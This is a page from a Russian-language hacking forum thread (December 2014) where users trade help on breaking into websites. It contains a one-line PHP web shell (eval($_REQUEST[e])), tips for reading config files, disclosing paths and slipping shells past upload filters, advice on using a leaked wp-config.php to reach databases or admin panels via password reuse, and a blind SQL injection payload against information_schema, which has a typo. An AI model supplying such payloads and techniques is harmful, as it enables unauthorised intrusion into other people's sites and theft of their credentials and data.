HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2396 из 2438 « Первая < 13961896229623462386 2392 2393 2394 2395 2396 2397 2398 2399 2400 2406 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #23951  
Старый 26.12.2014, 08:26
mazaxaka
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
Провел на форуме:
883446

Репутация: 82
По умолчанию
есть сайт, заливаю шел а он сразу трется, пробовал разные штук 5 все трет.

заливаю

Код:
Code:
eval($_REQUEST[e]);
вывожу пхпинфо, но там нету путей, только до пхп и мускула, а на папку домена нету.

как через евал можно прочитать файл конфиг например, или раскрыть пути

Код:
Code:
$page = $_GET['page'];
include($page.'.php');
тоже пробовал. не работает.

в общем могу залить любой пхп кроме шелов(( подскажите что можно сделать в данном случае
 
Ответить с цитированием

  #23952  
Старый 26.12.2014, 09:13
OxoTnik
Guest
Сообщений: n/a
Провел на форуме:
290351

Репутация: 173
По умолчанию
Цитата:
Сообщение от mazaxaka  
mazaxaka said:
есть сайт, заливаю шел а он сразу трется, пробовал разные штук 5 все трет.
заливаю
Код:
Code:
eval($_REQUEST[e]);
вывожу пхпинфо, но там нету путей, только до пхп и мускула, а на папку домена нету.
как через евал можно прочитать файл конфиг например, или раскрыть пути
Код:
Code:
$page = $_GET['page'];
include($page.'.php');
тоже пробовал. не работает.
в общем могу залить любой пхп кроме шелов(( подскажите что можно сделать в данном случае
через системные команды посмотреть?
 
Ответить с цитированием

  #23953  
Старый 26.12.2014, 12:18
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию
Цитата:
Сообщение от mazaxaka  
mazaxaka said:
есть сайт, заливаю шел а он сразу трется, пробовал разные штук 5 все трет.
заливаю
Код:
Code:
eval($_REQUEST[e]);
вывожу пхпинфо, но там нету путей, только до пхп и мускула, а на папку домена нету.
как через евал можно прочитать файл конфиг например, или раскрыть пути
Код:
Code:
$page = $_GET['page'];
include($page.'.php');
тоже пробовал. не работает.
в общем могу залить любой пхп кроме шелов(( подскажите что можно сделать в данном случае
Покажет текущию папку где выполняется скрипт:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
если вывод ошибок не отключен, то как вариант можно использовать баги в функциях:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]htmlspecialchars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR] 
вызываем так: ?e[]=123 будет раскрытие путей.

Чтобы прочитать файл конфига, можно сделать так:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'config.php'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
это всего лишь банальные команды, а если системные будут включены там вообще все намного проще и очень странно, что вам phpinfo(), очень мало инфы выдало...

По поводу заливки, наверное просто какой то мод секьюрити не дает им залиться, а скорее заливаются но права автоматически на выполнение закрываются, попробуйте какой нить обычный файловый менеджер залить или упрощенный шелл, также можно попробовать поменять расширение шелла.
 
Ответить с цитированием

  #23954  
Старый 26.12.2014, 20:52
T1B3R
Guest
Сообщений: n/a
Провел на форуме:
48321

Репутация: 1
По умолчанию
вопрос по файлу wp-config.php

есть доступ к файлу конфигурации вп. Как можно получить доступ к сайту?

В файле есть логин и пароль для базы данных, но как зайти в базу данных?
 
Ответить с цитированием

  #23955  
Старый 26.12.2014, 20:57
Zen1T21
Guest
Сообщений: n/a
Провел на форуме:
51991

Репутация: 2
По умолчанию
Цитата:
Сообщение от T1B3R  
T1B3R said:
вопрос по файлу wp-config.php
есть доступ к файлу конфигурации вп. Как можно получить доступ к сайту?
В файле есть логин и пароль для базы данных, но как зайти в базу данных?
Никак
 
Ответить с цитированием

  #23956  
Старый 26.12.2014, 21:52
MaxFast
Guest
Сообщений: n/a
Провел на форуме:
178623

Репутация: 94
По умолчанию
Цитата:
Сообщение от Zen1T21  
Zen1T21 said:
Никак
С чего ты взял? Есть шанс, что СУБД находится рядом с сайтом.

А вообще пароль может быть таким же как и от админки, этот факт тоже нужно учитывать.
 
Ответить с цитированием

  #23957  
Старый 27.12.2014, 00:48
Zen1T21
Guest
Сообщений: n/a
Провел на форуме:
51991

Репутация: 2
По умолчанию
Цитата:
Сообщение от MaxFast  
MaxFast said:
С чего ты взял? Есть шанс, что СУБД находится рядом с сайтом.
Ничтожный же шанс.

Цитата:
Сообщение от MaxFast  
MaxFast said:
А вообще пароль может быть таким же как и от админки, этот факт тоже нужно учитывать.
Вопрос про бд вроде был
 
Ответить с цитированием

  #23958  
Старый 27.12.2014, 01:41
vikler
Guest
Сообщений: n/a
Провел на форуме:
36068

Репутация: 0
По умолчанию
Код:
Code:
...php?ID=12234+AND+1=1
-> истинный вывод

Код:
Code:
...php?ID=12234+AND+1=2
-> неверный вывод

В общем, boolean based, mysql. Как раскручивать? Обычно я sqlmap'ом слепые раскручиваю, но тут типа [CRITICAL] unable to retrieve the database names
 
Ответить с цитированием

  #23959  
Старый 27.12.2014, 03:25
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от Zen1T21  
Zen1T21 said:
Ничтожный же шанс.
Вопрос про бд вроде был
«Никак» это означает, что шансов нет. Да и смотреть нужно на конкретную ситуацию, о которой вы даже не знаете. Не стоит вводить в заблуждение.

Ответ: да, можно. Ищите на портах, в папках, поддоменах.
 
Ответить с цитированием

  #23960  
Старый 27.12.2014, 03:29
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от vikler  
vikler said:
Код:
Code:
...php?ID=12234+AND+1=1
-> истинный вывод
Код:
Code:
...php?ID=12234+AND+1=2
-> неверный вывод
В общем, boolean based, mysql. Как раскручивать? Обычно я sqlmap'ом слепые раскручиваю, но тут типа [CRITICAL] unable to retrieve the database names
and(subsrt((select table_name from information_schema.tables limit 1,1),1,1))='c'
 
Ответить с цитированием
Ответ
Страница 2396 из 2438 « Первая < 13961896229623462386 2392 2393 2394 2395 2396 2397 2398 2399 2400 2406 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ